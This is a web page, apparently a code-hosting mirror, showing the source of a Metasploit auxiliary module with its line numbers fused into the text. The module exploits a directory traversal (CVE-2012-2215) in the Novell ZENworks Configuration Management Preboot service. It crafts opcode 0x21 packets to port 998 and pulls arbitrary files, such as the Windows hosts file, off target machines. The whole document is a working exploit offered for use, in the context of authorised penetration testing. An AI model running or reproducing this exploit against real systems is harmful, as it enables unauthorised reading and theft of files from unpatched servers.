Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(update_info(info,12'Name' => 'Novell ZENworks Configuration Management Preboot Service Remote File Access',13'Description' => %q{14This module exploits a directory traversal in the ZENworks Configuration Management.15The vulnerability exists in the Preboot service and can be triggered by sending a specially16crafted PROXY_CMD_FTP_FILE (opcode 0x21) packet to the 998/TCP port. This module has been17successfully tested on Novell ZENworks Configuration Management 10 SP2 and SP3 over Windows.18},19'License' => MSF_LICENSE,20'Author' =>21[22'Luigi Auriemma', # Vulnerability Discovery23'juan vazquez' # Metasploit module24],25'References' =>26[27[ 'CVE', '2012-2215' ],28[ 'OSVDB', '80230' ],29[ 'URL', 'https://web.archive.org/web/20121103122235/http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=975' ]30]31))3233register_options(34[35Opt::RPORT(998),36OptString.new('FILEPATH', [true, 'The name of the file to download', '\\WINDOWS\\system32\\drivers\\etc\\hosts']),37OptInt.new('DEPTH', [true, 'Traversal depth', 6])38])39end4041def run_host(ip)42# No point to continue if no filename is specified43if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?44print_error("Please supply the name of the file you want to download")45return46end4748travs = "\\.." * datastore['DEPTH']49travs << "\\" unless datastore['FILEPATH'][0] == "\\"50travs << datastore['FILEPATH']5152payload = Rex::Text.to_unicode(travs)53packet = [0x21].pack("N") # Opcode54packet << [payload.length].pack("N") # Length55packet << payload # Value5657connect58sock.put(packet)59sock.get_once(4, 1)60length = sock.get_once(4, 1)6162unless length63print_error("Unable to get length due to a timeout")64return65end6667sock.get_once(0x210-8, 1)68contents = sock.get_once(length.unpack("V").first, 1)6970unless contents71print_error("Unable to extract contents due to a timeout")72return73end7475disconnect7677print_good "File retrieved successfully!"78fname = File.basename(datastore['FILEPATH'])79path = store_loot(80'novell.zenworks_configuration_management',81'application/octet-stream',82ip,83contents,84fname85)86print_status("File saved in: #{path}")87end88end899091